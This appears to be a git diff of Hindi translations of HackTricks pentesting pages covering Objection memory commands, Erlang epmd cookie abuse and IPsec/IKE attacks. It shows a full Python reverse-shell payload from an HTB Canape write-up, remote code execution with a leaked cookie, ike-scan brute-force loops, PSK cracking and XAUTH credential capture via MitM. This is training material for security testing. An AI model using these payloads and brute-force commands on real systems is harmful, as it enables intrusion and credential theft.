एक विशिष्ट Java क्लास के **लाइव उदाहरणों** की खोज करें और प्रिंट करें, जिसे पूर्ण रूप से योग्य क्लास नाम द्वारा निर्दिष्ट किया गया है। यह एक खोजे गए ऑब्जेक्शन के लिए एक स्ट्रिंग मान प्राप्त करने के प्रयास का परिणाम है, जो आमतौर पर **ऑब्जेक्ट के लिए प्रॉपर्टी मानों** को **शामिल** करेगा।
एक विशेष Java क्लास के **लाइव उदाहरणों** की खोज करें और प्रिंट करें, जिसे पूर्ण रूप से योग्य क्लास नाम द्वारा निर्दिष्ट किया गया है। यह एक खोजे गए ऑब्जेक्शन के लिए एक स्ट्रिंग मान प्राप्त करने के प्रयास का परिणाम है, जो आमतौर पर **ऑब्जेक्ट के लिए प्रॉपर्टी मानों** को **शामिल** करेगा।
```
android heap print_instances <class>
```
@ -196,11 +196,11 @@ memory list modules
```
![](<../../../images/image (286).png>)
सूची के नीचे आप फ्रिडा देख सकते हैं:
सूची के नीचे आप frida देख सकते हैं:
![](<../../../images/image (1097).png>)
चलो देखते हैं कि फ्रिडा क्या निर्यात कर रहा है:
चलो देखते हैं कि frida क्या निर्यात कर रहा है:
![](<../../../images/image (298).png>)
@ -213,7 +213,7 @@ memory write "<address>" "<pattern eg: 41 41 41 41>" (--string)
```
### SQLite
आप `sqlite` कमांड का उपयोग करके sqlite डेटाबेस के साथ इंटरैक्ट कर सकते हैं।
आप `sqlite` कमांड का उपयोग sqlite डेटाबेस के साथ इंटरैक्ट करने के लिए कर सकते हैं।
### Exit
```bash
@ -222,9 +222,7 @@ exit
## मुझे Objection में क्या कमी लगती है
- हुकिंग विधियाँ कभी-कभी एप्लिकेशन को क्रैश कर देती हैं (यह Frida के कारण भी है)।
- आप कक्षाओं के उदाहरणों का उपयोग करके उदाहरण के कार्यों को कॉल नहीं कर सकते। और आप कक्षाओं के नए उदाहरण नहीं बना सकते और उनका उपयोग कार्यों को कॉल करने के लिए नहीं कर सकते।
- एप्लिकेशन द्वारा उपयोग किए जा रहे सभी सामान्य क्रिप्टो विधियों को हुक करने के लिए कोई शॉर्टकट नहीं है (जैसे sslpinnin के लिए) ताकि आप सिफर टेक्स्ट, प्लेन टेक्स्ट, कुंजी, IVs और उपयोग किए गए एल्गोरिदम देख सकें।
- आप इंस्टेंस के फ़ंक्शंस को कॉल करने के लिए क्लास के इंस्टेंस का उपयोग नहीं कर सकते। और आप क्लास के नए इंस्टेंस नहीं बना सकते और उन्हें फ़ंक्शंस को कॉल करने के लिए उपयोग नहीं कर सकते।
- एप्लिकेशन द्वारा उपयोग किए जा रहे सभी सामान्य क्रिप्टो विधियों को हुक करने के लिए कोई शॉर्टकट नहीं है (जैसे sslpinnin के लिए) ताकि आप सिफर टेक्स्ट, प्लेन टेक्स्ट, कीज़, IVs और उपयोग किए गए एल्गोरिदम देख सकें।
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,6 +1,6 @@
{{#include ../banners/hacktricks-training.md}}
# मूल जानकारी
# Basic Info
**Erlang Port Mapper Daemon (epmd)** वितरित Erlang उदाहरणों के लिए एक समन्वयक के रूप में कार्य करता है। यह प्रतीकात्मक नोड नामों को मशीन पते से मानचित्रित करने के लिए जिम्मेदार है, मूल रूप से यह सुनिश्चित करता है कि प्रत्येक नोड नाम एक विशिष्ट पते से जुड़ा हो। **epmd** की यह भूमिका नेटवर्क में विभिन्न Erlang नोड्स के बीच निर्बाध इंटरैक्शन और संचार के लिए महत्वपूर्ण है।
@ -11,9 +11,9 @@ PORT STATE SERVICE VERSION
```
यह डिफ़ॉल्ट रूप से RabbitMQ और CouchDB इंस्टॉलेशन पर उपयोग किया जाता है।
# गणना
# Enumeration
## मैनुअल
## Manual
```bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
@ -42,7 +42,7 @@ PORT STATE SERVICE VERSION
## Remote Connection
यदि आप **Authentication cookie** को लीक कर सकते हैं, तो आप होस्ट पर कोड निष्पादित करने में सक्षम होंगे। आमतौर पर, यह कुकी `~/.erlang.cookie` में स्थित होती है और इसे एर्लांग द्वारा पहले स्टार्ट पर उत्पन्न किया जाता है। यदि इसे संशोधित या मैन्युअल रूप से सेट नहीं किया गया है, तो यह 20 अक्षरों की लंबाई के साथ एक यादृच्छिक स्ट्रिंग \[A:Z] होती है।
यदि आप **प्रमाणीकरण कुकी** को लीक कर सकते हैं, तो आप होस्ट पर कोड निष्पादित करने में सक्षम होंगे। आमतौर पर, यह कुकी `~/.erlang.cookie` में स्थित होती है और इसे एर्लांग द्वारा पहले प्रारंभ पर उत्पन्न किया जाता है। यदि इसे संशोधित या मैन्युअल रूप से सेट नहीं किया गया है, तो यह 20 वर्णों की लंबाई के साथ एक यादृच्छिक स्ट्रिंग \[A:Z] होती है।
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
@ -55,9 +55,11 @@ At last, we can start an erlang shell on the remote system.
"uid=0(root) gid=0(root) groups=0(root)\n"
```
अधिक जानकारी के लिए [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
लेखक कुकी को ब्रूटफोर्स करने के लिए एक प्रोग्राम भी साझा करते हैं:
लेखक एक प्रोग्राम भी साझा करते हैं जो कुकी को ब्रूटफोर्स करता है:
{% file src="../images/epmd_bf-0.1.tar.bz2" %}
{{#file}}
epmd_bf-0.1.tar.bz2
{{#endfile}}
## स्थानीय कनेक्शन
@ -69,7 +71,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
उदाहरण लिया गया [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
आप **Canape HTB मशीन का उपयोग कर सकते हैं** **अभ्यास करने के लिए** कि **इस vuln का कैसे लाभ उठाना है**।
आप **Canape HTB मशीन का उपयोग कर सकते हैं** **अभ्यास करने के लिए** कि **इस vuln का कैसे शोषण करें**।
## Metasploit
```bash

View File

@ -4,11 +4,11 @@
## Basic Information
**IPsec** को नेटवर्कों (LAN-to-LAN) के बीच और दूरस्थ उपयोगकर्ताओं से नेटवर्क गेटवे (दूरस्थ पहुंच) तक संचार को सुरक्षित करने के लिए प्रमुख तकनीक के रूप में व्यापक रूप से मान्यता प्राप्त है, जो उद्यम VPN समाधानों के लिए रीढ़ की हड्डी के रूप में कार्य करता है।
**IPsec** को नेटवर्कों (LAN-to-LAN) के बीच और दूरस्थ उपयोगकर्ताओं से नेटवर्क गेटवे (दूरस्थ पहुंच) तक संचार को सुरक्षित करने के लिए मुख्य तकनीक के रूप में व्यापक रूप से मान्यता प्राप्त है, जो उद्यम VPN समाधानों के लिए रीढ़ के रूप में कार्य करता है।
दो बिंदुओं के बीच **सुरक्षा संघ (SA)** की स्थापना **IKE** द्वारा प्रबंधित की जाती है, जो ISAKMP के तहत कार्य करता है, जो प्रमाणीकरण और कुंजी विनिमय के लिए डिज़ाइन किया गया एक प्रोटोकॉल है। यह प्रक्रिया कई चरणों में होती है:
- **चरण 1:** दो अंत बिंदुओं के बीच एक सुरक्षित चैनल बनाया जाता है। यह एक प्री-शेयर की (PSK) या प्रमाणपत्रों के उपयोग के माध्यम से प्राप्त किया जाता है, मुख्य मोड का उपयोग करते हुए, जिसमें संदेशों के तीन जोड़े शामिल होते हैं, या **आक्रामक मोड**
- **चरण 1:** दो अंत बिंदुओं के बीच एक सुरक्षित चैनल बनाया जाता है। यह एक प्री-शेयर की (PSK) या प्रमाणपत्रों के उपयोग के माध्यम से प्राप्त किया जाता है, मुख्य मोड का उपयोग करते हुए, जिसमें तीन संदेश जोड़े शामिल होते हैं, या **आक्रामक मोड**
- **चरण 1.5:** हालांकि यह अनिवार्य नहीं है, इस चरण को विस्तारित प्रमाणीकरण चरण के रूप में जाना जाता है, जो उपयोगकर्ता की पहचान की पुष्टि करता है जो कनेक्ट करने का प्रयास कर रहा है, एक उपयोगकर्ता नाम और पासवर्ड की आवश्यकता होती है।
- **चरण 2:** यह चरण डेटा को **ESP** और **AH** के साथ सुरक्षित करने के लिए पैरामीटर पर बातचीत करने के लिए समर्पित है। यह **परफेक्ट फॉरवर्ड सीक्रेसी (PFS)** सुनिश्चित करने के लिए चरण 1 में उपयोग किए गए एल्गोरिदम से भिन्न एल्गोरिदम के उपयोग की अनुमति देता है, जिससे सुरक्षा बढ़ती है।
@ -26,9 +26,9 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **एक मान्य परिवर्तन ढूंढना**
IPSec कॉन्फ़िगरेशन केवल एक या कुछ परिवर्तनों को स्वीकार करने के लिए तैयार किया जा सकता है। एक परिवर्तन मानों का एक संयोजन है। **प्रत्येक परिवर्तन** में DES या 3DES जैसे **एन्क्रिप्शन एल्गोरिदम**, SHA या MD5 जैसे **अखंडता एल्गोरिदम**, एक पूर्व-शेयर की के रूप में **प्रमाणीकरण प्रकार**, Diffie-Hellman 1 या 2 के रूप में कुंजी **वितरण एल्गोरिदम** और 28800 सेकंड के रूप में **जीवनकाल** जैसे कई गुण होते हैं।
IPSec कॉन्फ़िगरेशन केवल एक या कुछ परिवर्तनों को स्वीकार करने के लिए तैयार किया जा सकता है। एक परिवर्तन मानों का एक संयोजन है। **प्रत्येक परिवर्तन** में कई विशेषताएँ होती हैं जैसे DES या 3DES को **एन्क्रिप्शन एल्गोरिदम** के रूप में, SHA या MD5 को **अखंडता एल्गोरिदम** के रूप में, एक पूर्व-शेयर की को **प्रमाणीकरण प्रकार** के रूप में, Diffie-Hellman 1 या 2 को कुंजी **वितरण एल्गोरिदम** के रूप में और 28800 सेकंड को **जीवनकाल** के रूप में।
फिर, आपको जो पहला काम करना है वह है **एक मान्य परिवर्तन ढूंढना**, ताकि सर्वर आपसे बात कर सके। ऐसा करने के लिए, आप उपकरण **ike-scan** का उपयोग कर सकते हैं। डिफ़ॉल्ट रूप से, Ike-scan मुख्य मोड में काम करता है, और एक पैकेट को गेटवे पर ISAKMP हेडर और **इसके अंदर आठ परिवर्तनों के साथ एकल प्रस्ताव** के साथ भेजता है।
फिर, आपको जो पहला काम करना है वह है **एक मान्य परिवर्तन ढूंढना**, ताकि सर्वर आपसे बात कर सके। ऐसा करने के लिए, आप उपकरण **ike-scan** का उपयोग कर सकते हैं। डिफ़ॉल्ट रूप से, Ike-scan मुख्य मोड में काम करता है, और एक पैकेट को गेटवे पर ISAKMP हेडर और **इसके अंदर आठ परिवर्तनों के साथ** एकल प्रस्ताव के साथ भेजता है।
प्रतिक्रिया के आधार पर, आप एंडपॉइंट के बारे में कुछ जानकारी प्राप्त कर सकते हैं:
```
@ -41,14 +41,14 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
जैसा कि आप पिछले उत्तर में देख सकते हैं, एक फ़ील्ड है जिसे **AUTH** कहा जाता है और इसका मान **PSK** है। इसका मतलब है कि vpn को एक प्रीशेयर की का उपयोग करके कॉन्फ़िगर किया गया है (और यह एक पेंटेस्टर के लिए वास्तव में अच्छा है)।\
जैसा कि आप पिछले उत्तर में देख सकते हैं, एक फ़ील्ड है जिसे **AUTH** कहा जाता है और इसका मान **PSK** है। इसका मतलब है कि vpn को एक प्रीशेयर की का उपयोग करके कॉन्फ़िगर किया गया है (और यह एक pentester के लिए वास्तव में अच्छा है)।\
**अंतिम पंक्ति का मान भी बहुत महत्वपूर्ण है:**
- _0 returned handshake; 0 returned notify:_ इसका मतलब है कि लक्ष्य **IPsec गेटवे नहीं है**
- _**1 returned handshake; 0 returned notify:**_ इसका मतलब है कि **लक्ष्य IPsec के लिए कॉन्फ़िगर किया गया है और IKE वार्ता करने के लिए इच्छुक है, और आप द्वारा प्रस्तावित एक या अधिक ट्रांसफॉर्म स्वीकार्य हैं** (एक मान्य ट्रांसफॉर्म आउटपुट में दिखाया जाएगा)।
- _0 returned handshake; 1 returned notify:_ VPN गेटवे तब एक नोटिफाई संदेश के साथ प्रतिक्रिया करते हैं जब **कोई भी ट्रांसफॉर्म स्वीकार्य नहीं है** (हालांकि कुछ गेटवे ऐसा नहीं करते हैं, इस मामले में आगे विश्लेषण और एक संशोधित प्रस्ताव का प्रयास किया जाना चाहिए)।
फिर, इस मामले में हमारे पास पहले से ही एक मान्य ट्रांसफॉर्मेशन है लेकिन यदि आप तीसरे मामले में हैं, तो आपको **एक मान्य ट्रांसफॉर्मेशन खोजने के लिए थोड़ा ब्रूट-फोर्स करना होगा:**
फिर, इस मामले में हमारे पास पहले से ही एक मान्य ट्रांसफॉर्म है लेकिन यदि आप तीसरे मामले में हैं, तो आपको **एक मान्य ट्रांसफॉर्म खोजने के लिए थोड़ा ब्रूट-फोर्स करना होगा:**
सबसे पहले, आपको सभी संभावित ट्रांसफॉर्मेशन बनाने की आवश्यकता है:
```bash
@ -58,7 +58,7 @@ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for A
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
यदि ब्रूट-फोर्स काम नहीं करता है, तो शायद सर्वर बिना हैंडशेक के भी मान्य ट्रांसफॉर्म्स पर प्रतिक्रिया दे रहा है। फिर, आप आक्रामक मोड का उपयोग करके वही ब्रूट-फोर्स आजमा सकते हैं:
यदि ब्रूट-फोर्स काम नहीं करता है, तो शायद सर्वर बिना हैंडशेक के भी मान्य ट्रांसफॉर्म्स का उत्तर दे रहा है। फिर, आप आक्रामक मोड का उपयोग करके वही ब्रूट-फोर्स आजमा सकते हैं:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
@ -70,14 +70,14 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
```
![](<../images/image (617).png>)
**DH समूह: 14 = 2048-बिट MODP** और **15 = 3072-बिट**\
In **DH Group: 14 = 2048-bit MODP** and **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (इस मामले में)। `--trans` प्रारूप है $Enc,$Hash,$Auth,$DH**
Cisco यह संकेत करता है कि DH समूह 1 और 2 का उपयोग करने से बचें क्योंकि वे पर्याप्त मजबूत नहीं हैं। विशेषज्ञों का मानना है कि **जिन देशों के पास बहुत सारे संसाधन हैं, वे आसानी से इन कमजोर समूहों का उपयोग करने वाले डेटा की एन्क्रिप्शन को तोड़ सकते हैं।** यह एक विशेष विधि का उपयोग करके किया जाता है जो उन्हें कोड को जल्दी से क्रैक करने के लिए तैयार करती है। हालांकि इस विधि को स्थापित करने में बहुत पैसा लगता है, यह इन शक्तिशाली देशों को वास्तविक समय में एन्क्रिप्टेड डेटा पढ़ने की अनुमति देती है यदि यह किसी कमजोर समूह (जैसे 1,024-बिट या छोटे) का उपयोग कर रहा है।
Cisco यह संकेत करता है कि DH समूह 1 और 2 का उपयोग करने से बचें क्योंकि वे पर्याप्त मजबूत नहीं हैं। विशेषज्ञों का मानना है कि **जिन देशों के पास बहुत सारे संसाधन हैं, वे आसानी से इन कमजोर समूहों का उपयोग करने वाले डेटा की एन्क्रिप्शन को तोड़ सकते हैं।** यह एक विशेष विधि का उपयोग करके किया जाता है जो उन्हें कोड को जल्दी से क्रैक करने के लिए तैयार करती है। हालांकि इस विधि को स्थापित करने में बहुत पैसा खर्च होता है, यह इन शक्तिशाली देशों को वास्तविक समय में एन्क्रिप्टेड डेटा पढ़ने की अनुमति देती है यदि यह किसी कमजोर समूह (जैसे 1,024-बिट या छोटे) का उपयोग कर रहा है।
### सर्वर फिंगरप्रिंटिंग
फिर, आप ike-scan का उपयोग करके **उपकरण के विक्रेता** का पता लगाने की कोशिश कर सकते हैं। उपकरण एक प्रारंभिक प्रस्ताव भेजता है और पुनः खेलने से रुक जाता है। फिर, यह प्राप्त **संदेशों** के बीच **समय** के अंतर का **विश्लेषण** करेगा और मेल खाने वाले प्रतिक्रिया पैटर्न के साथ, पेंटेस्टर सफलतापूर्वक VPN गेटवे विक्रेता का फिंगरप्रिंट बना सकता है। इसके अलावा, कुछ VPN सर्वर वैकल्पिक **विक्रेता आईडी (VID) पेलोड** का उपयोग IKE के साथ करेंगे।
फिर, आप ike-scan का उपयोग करके **उपकरण के विक्रेता** का पता लगाने की कोशिश कर सकते हैं। उपकरण एक प्रारंभिक प्रस्ताव भेजता है और पुनः खेलने से रुक जाता है। फिर, यह प्राप्त **संदेशों** से सर्वर और मिलान प्रतिक्रिया पैटर्न के बीच **समय** के अंतर का **विश्लेषण** करेगा, पेंटेस्टर सफलतापूर्वक VPN गेटवे विक्रेता का फिंगरप्रिंट बना सकता है। इसके अलावा, कुछ VPN सर्वर IKE के साथ वैकल्पिक **विक्रेता आईडी (VID) पेलोड** का उपयोग करेंगे।
**यदि आवश्यक हो तो मान्य परिवर्तन निर्दिष्ट करें** (using --trans)
@ -101,16 +101,16 @@ IP Address No. Recv time Delta Time
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
यह भी nmap स्क्रिप्ट _**ike-version**_ के साथ प्राप्त किया जा सकता है
यह nmap स्क्रिप्ट _**ike-version**_ के साथ भी प्राप्त किया जा सकता है
## सही ID (समूह नाम) खोजना
हैश कैप्चर करने के लिए आपको एक मान्य ट्रांसफॉर्मेशन की आवश्यकता है जो आक्रामक मोड का समर्थन करता है और सही ID (समूह नाम) होना चाहिए। आपको शायद मान्य समूह नाम नहीं पता होगा, इसलिए आपको इसे ब्रूट-फोर्स करना होगा।\
हैश को कैप्चर करने की अनुमति पाने के लिए आपको एक मान्य ट्रांसफॉर्मेशन की आवश्यकता है जो आक्रामक मोड का समर्थन करता है और सही ID (समूह नाम) होना चाहिए। आपको शायद मान्य समूह नाम नहीं पता होगा, इसलिए आपको इसे ब्रूट-फोर्स करना होगा।\
इसके लिए, मैं आपको 2 विधियाँ सुझाऊंगा:
### ike-scan के साथ ID का ब्रूटफोर्सिंग
सबसे पहले, एक नकली ID के साथ एक अनुरोध करने की कोशिश करें हैश इकट्ठा करने के लिए ("-P"):
सबसे पहले, एक नकली ID के साथ एक अनुरोध करने की कोशिश करें जिससे हैश इकट्ठा किया जा सके ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
@ -128,25 +128,27 @@ ike-scan -P -M -A -n fakeID <IP>
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
{% file src="../images/vpnIDs.txt" %}
{{#file}}
vpnIDs.txt
{{#endfile}}
### Iker के साथ ID का ब्रूटफोर्सिंग
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) भी संभावित समूह नामों को ब्रूटफोर्स करने के लिए **ike-scan** का उपयोग करता है। यह **ike-scan** के आउटपुट के आधार पर **एक मान्य ID खोजने** के लिए अपनी विधि का पालन करता है।
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) भी **ike-scan** का उपयोग करके संभावित समूह नामों का ब्रूटफोर्स करने के लिए उपयोग किया जाता है। यह **ike-scan** के आउटपुट के आधार पर **एक मान्य ID खोजने** के लिए अपनी विधि का पालन करता है।
### ikeforce के साथ ID का ब्रूटफोर्सिंग
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) एक उपकरण है जिसका उपयोग **ID को ब्रूट फोर्स करने** के लिए किया जा सकता है। यह उपकरण **विभिन्न कमजोरियों का शोषण करने की कोशिश करेगा** जो **एक मान्य और गैर-मान्य ID के बीच अंतर करने** के लिए उपयोग की जा सकती हैं (इसमें झूठे सकारात्मक और झूठे नकारात्मक हो सकते हैं, इसलिए मैं संभवतः ike-scan विधि का उपयोग करना पसंद करता हूं)।
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) एक उपकरण है जिसका उपयोग **ID का ब्रूटफोर्स करने** के लिए किया जा सकता है। यह उपकरण **विभिन्न कमजोरियों का शोषण करने की कोशिश करेगा** जो **एक मान्य और गैर-मान्य ID के बीच अंतर करने** के लिए उपयोग की जा सकती हैं (इसमें झूठे सकारात्मक और झूठे नकारात्मक हो सकते हैं, इसलिए मैं संभवतः ike-scan विधि का उपयोग करना पसंद करता हूं)।
डिफ़ॉल्ट रूप से **ikeforce** शुरुआत में कुछ यादृच्छिक IDs भेजेगा ताकि सर्वर के व्यवहार की जांच की जा सके और उपयोग करने क रणनीति निर्धारित की जा सके।
डिफ़ॉल्ट रूप से **ikeforce** शुरुआत में कुछ यादृच्छिक IDs भेजेगा ताकि सर्वर के व्यवहार की जांच की जा सके और उपयोग करने के लिए रणनीति निर्धारित की जा सके।
- **पहली विधि** समूह नामों को **खोजने** के द्वारा ब्रूट-फोर्स करना है **Dead Peer Detection DPD** की जानकारी के लिए Cisco सिस्टमों की (यह जानकारी केवल तब सर्वर द्वारा पुनः भेजी जाती है जब समूह नाम सही हो)।
- **पहली विधि** समूह नामों को **खोजने** के लिए **ब्रूट-फोर्स** करना है **Dead Peer Detection DPD** की जानकारी के लिए Cisco सिस्टमों की (यह जानकारी केवल तब सर्वर द्वारा पुनः भेजी जाती है जब समूह नाम सही होता है)।
- उपलब्ध **दूसरी विधि** यह है कि **प्रत्येक प्रयास के लिए भेजे गए उत्तरों की संख्या की जांच करें** क्योंकि कभी-कभी सही ID का उपयोग करने पर अधिक पैकेट भेजे जाते हैं।
- **तीसरी विधि** **गलत ID के जवाब में "INVALID-ID-INFORMATION" की खोज** करने पर आधारित है।
- अंत में, यदि सर्वर जांचों के लिए कुछ भी पुनः नहीं भेजता है, तो **ikeforce** सर्वर को ब्रूट फोर्स करने की कोशिश करेगा और जांच करेगा कि जब सही ID भेजी जाती है तो सर्वर कुछ पैकेट के साथ पुनः भेजता है।\
स्पष्ट है, ID का ब्रूट फोर्सिंग का लक्ष्य **PSK** प्राप्त करना है जब आपके पास एक मान्य ID हो। फिर, **ID** और **PSK** के साथ आपको XAUTH क ब्रूटफोर्स करना होगा (यदि यह सक्षम है)।
- अंत में, यदि सर्वर जांचों के लिए कुछ भी पुनः भेजता नहीं है, तो **ikeforce** सर्वर को ब्रूटफोर्स करने की कोशिश करेगा और जांच करेगा कि जब सही ID भेजी जाती है तो सर्वर कुछ पैकेट के साथ पुनः भेजता है।\
स्पष्ट है, ID का ब्रूटफोर्स करने का लक्ष्य **PSK** प्राप्त करना है जब आपके पास एक मान्य ID हो। फिर, **ID** और **PSK** के साथ आपको XAUTH क ब्रूटफोर्स करना होगा (यदि यह सक्षम है)।
यदि आपने एक विशिष्ट परिवर्तन खोजा है तो से ikeforce कमांड में जोड़ें। और यदि आपने कई परिवर्तनों की खोज की है तो उन्हें सभी को आजमाने के लिए एक नया लूप जोड़ने में संकोच न करें (आपको तब तक सभी को आजमाना चाहिए जब तक उनमें से एक सही ढंग से काम न करे)।
यदि आपने एक विशिष्ट परिवर्तन खोजा है तो से ikeforce कमांड में जोड़ें। और यदि आपने कई परिवर्तनों की खोज की है तो उन्हें सभी को आजमाने के लिए एक नया लूप जोड़ने में संकोच न करें (आपको तब तक सभी को आजमाना चाहिए जब तक उनमें से एक सही ढंग से काम न करे)।
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -157,7 +159,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
### Sniffing ID
(From the book **Network Security Assessment: Know Your Network**): यह संभव है कि VPN क्लाइंट और सर्वर के बीच कनेक्शन को स्निफ़ करके मान्य उपयोगकर्ता नाम प्राप्त किए जा सकें, क्योंकि पहले आक्रामक मोड पैकेट जिसमें क्लाइंट ID होती है, स्पष्ट रूप से भेजी जाती है।
(From the book **Network Security Assessment: Know Your Network**): यह VPN क्लाइंट और सर्वर के बीच कनेक्शन को स्निफ़ करके मान्य उपयोगकर्ता नाम प्राप्त करना भी संभव है, क्योंकि पहले आक्रामक मोड पैकेट जिसमें क्लाइंट ID होती है, स्पष्ट रूप से भेजी जाती है।
![](<../images/image (891).png>)
@ -169,27 +171,27 @@ ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported
```
हैश _hash.txt_ के अंदर सहेजा जाएगा।
आप **psk-crack**, **john** ( [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) का उपयोग करते हुए) और **hashcat**ा उपयोग करके हैश को **क्रैक** कर सकते हैं:
आप **psk-crack**, **john** (जिसका उपयोग [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) और **hashcat** करके हैश को **क्रैक** करने के लिए कर सकते हैं:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**आक्रामक मोड IKE** को **पूर्व-शेयर की (PSK)** के साथ मिलाकर **समूह प्रमाणीकरण** उद्देश्यों के लिए सामान्यतः उपयोग किया जाता है। इस विधि को **XAuth (विस्तारित प्रमाणीकरण)** द्वारा बढ़ाया गया है, जो **उपयोगकर्ता प्रमाणीकरण** की एक अतिरिक्त परत पेश करता है। ऐसा प्रमाणीकरण आमतौर पर **Microsoft Active Directory**, **RADIUS**, या समान प्रणालियों जैसी सेवाओं का उपयोग करत है।
**Aggressive mode IKE** को **Pre-Shared Key (PSK)** के साथ मिलाकर **group authentication** के उद्देश्यों के लिए सामान्यतः उपयोग किया जाता है। इस विधि को **XAuth (Extended Authentication)** द्वारा बढ़ाया जाता है, जो **user authentication** की एक अतिरिक्त परत पेश करता है। ऐसी प्रमाणीकरण आमतौर पर **Microsoft Active Directory**, **RADIUS**, या समान प्रणालियों जैसी सेवाओं का उपयोग करत है।
**IKEv2** में संक्रमण करते समय, एक महत्वपूर्ण बदलाव देखा जाता है जहाँ **EAP (विस्तार योग्य प्रमाणीकरण प्रोटोकॉल)** का उपयोग **XAuth** के स्थान पर उपयोगकर्ताओं को प्रमाणीकरण करने के लिए किया जाता है। यह परिवर्तन सुरक्षित संचार प्रोटोकॉल के भीतर प्रमाणीकरण प्रथाओं में एक विकास को उजागर करता है।
**IKEv2** में संक्रमण करते समय, एक महत्वपूर्ण बदलाव देखा जाता है जहाँ **EAP (Extensible Authentication Protocol)** का उपयोग **XAuth** के स्थान पर उपयोगकर्ताओं को प्रमाणित करने के लिए किया जाता है। यह परिवर्तन सुरक्षित संचार प्रोटोकॉल के भीतर प्रमाणीकरण प्रथाओं में एक विकास को उजागर करता है।
### स्थानीय नेटवर्क MitM क्रेडेंशियल कैप्चर करने के लिए
### Local network MitM to capture credentials
तो आप _fiked_ का उपयोग करके लॉगिन का डेटा कैप्चर कर सकते हैं और देख सकते हैं कि क्या कोई डिफ़ॉल्ट उपयोगकर्ता नाम है (आपको sniffing के लिए IKE ट्रैफ़िक को `fiked` पर पुनर्निर्देशित करने की आवश्यकता है, जिसे ARP spoofing की मदद से किया जा सकता है, [अधिक जानकारी](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked एक VPN एंडपॉइंट के रूप में कार्य करेगा और XAuth क्रेडेंशियल्स को कैप्चर करेगा:
तो आप _fiked_ का उपयोग करके लॉगिन का डेटा कैप्चर कर सकते हैं और देख सकते हैं कि क्या कोई डिफ़ॉल्ट उपयोगकर्ता नाम है (आपको sniffing के लिए IKE ट्रैफ़िक को `fiked` पर पुनर्निर्देशित करने की आवश्यकता है, जिसे ARP spoofing की मदद से किया जा सकता है, [more info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked एक VPN endpoint के रूप में कार्य करेगा और XAuth क्रेडेंशियल्स को कैप्चर करेगा:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
इसके अलावा, IPSec का उपयोग करके एक MitM हमला करने की कोशिश करें और पोर्ट 500 पर सभी ट्रैफ़िक को ब्लॉक करें, यदि IPSec टनल स्थापित नहीं हो सकता है तो शायद ट्रैफ़िक स्पष्ट रूप से भेजा जाएगा।
Also, using IPSec try to make a MitM attack and block all traffic to port 500, if the IPSec tunnel cannot be established maybe the traffic will be sent in clear.
### ikeforce के साथ XAUTH उपयोगकर्ता नाम और पासवर्ड का ब्रूट-फोर्सिंग
### Brute-forcing XAUTH username ad password with ikeforce
**XAUTH** (जब आप एक मान्य समूह नाम **id** और **psk** जानते हैं) को ब्रूट फोर्स करने के लिए, आप एक उपयोगकर्ता नाम या उपयोगकर्ता नामों की सूची और पासवर्डों की सूची का उपयोग कर सकते हैं:
To brute force the **XAUTH** (जब आप एक मान्य समूह नाम **id** और **psk** जानते हैं) you can use a username or list of usernames and a list o passwords:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
@ -199,7 +201,7 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
## IPSEC VPN के साथ प्रमाणीकरण
